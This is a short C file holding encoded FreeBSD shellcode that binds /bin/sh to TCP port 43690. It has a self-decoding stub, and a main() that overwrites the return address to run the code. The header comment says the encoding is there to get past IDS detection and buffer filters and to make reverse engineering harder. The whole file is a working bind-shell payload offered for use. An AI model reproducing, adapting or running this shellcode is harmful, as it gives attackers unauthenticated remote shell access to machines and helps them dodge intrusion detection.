This is encoded FreeBSD shellcode that binds /bin/sh to port 43690 (0xAAAA). The aim of encoding the shellcode is to obfuscate certain bytes in order to bypass IDS detection and buffer filtering.
2672b98674cb4160ab29441ce7c4968ab49217ed9f2745731e4f65410a58ff5c
/*
FreeBSD shellcode that will bind /bin/sh to port 43690
The shellcode has been encoded by using a simple method. The first
two lines are the decoder, which will translate the rest back to the
correct instructions.
The advantages:
- Less worries about trouble characters such as 0a
- Possible lower chance of IDS detection
- One will take more effort to reverse engineer the shellcode
Written by zillion (safemode.org)
*/
char shellcode[] =
"\xeb\x11\x5e\x31\xc9\xb1\x72\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x20\x99\x93\x66\xf5\xbd\x7b\x3c\x9f\x3b\x9f\x36\x9f\x37\xe5"
"\x96\x85\x02\xb5\xbe\xf7\x66\xf5\xfb\x7b\x3e\x37\x9b\xfc\x7b"
"\x3f\xdf\xdf\xbe\x7b\x43\x9f\x45\xc2\x7b\x3d\x85\x87\x66\xf5"
"\xe5\x9d\x85\x02\xb5\x9f\x36\x87\x66\xf5\xe5\x9f\x85\x02\xb5"
"\x66\xf5\x85\x85\x87\xe5\x53\x85\x02\xb5\xe6\x38\xf0\x34\x34"
"\x34\x34\xbe\xf7\x78\x88\x87\xe5\x8f\x85\x02\xb5\xb5\x1e\x36"
"\xaa\x28\x66\xf5\x85\x85\x8b\xe5\x70\x85\x02\xb5\x1d\xcc\x34"
"\x34\x34\x64\x97\x9e\xa3\x64\xa8\x9d";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}